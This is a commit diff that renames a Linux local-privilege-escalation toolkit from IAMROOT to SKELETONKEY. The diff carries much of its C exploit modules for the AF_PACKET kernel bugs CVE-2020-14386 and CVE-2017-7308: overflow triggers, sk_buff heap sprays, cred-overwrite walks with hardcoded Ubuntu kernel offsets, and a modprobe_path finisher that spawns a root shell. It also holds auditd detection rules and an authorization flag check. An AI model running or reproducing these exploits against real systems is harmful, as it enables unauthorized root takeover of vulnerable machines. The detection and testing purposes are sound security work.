rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -20,7 +20,7 @@ reachable.
## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope.
+2 -2
View File
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## IAMROOT role
## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet2_cve_2020_14386 IAMROOT module
* af_packet2_cve_2020_14386 SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same
@@ -10,12 +10,12 @@
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,7 +43,7 @@
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -75,7 +75,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct iamroot_ctx *ictx;
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 2:
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = {
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet2(void)
void skeletonkey_register_af_packet2(void)
{
iamroot_register(&af_packet2_module);
skeletonkey_register(&af_packet2_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif
+2 -2
View File
@@ -16,14 +16,14 @@ Original advisory + writeup:
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## IAMROOT role
## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`IAMROOT_AFPACKET_OFFSETS` env var.
`SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet_cve_2017_7308 IAMROOT module
* af_packet_cve_2017_7308 SKELETONKEY module
*
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
@@ -58,7 +58,7 @@
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
/* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */
* Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
*/
struct afp_arb_ctx {
const struct iamroot_ctx *ctx;
const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */
* eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL;
(void)skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("af_packet");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* the kernel will clean up sockets on child exit. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
return SKELETONKEY_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
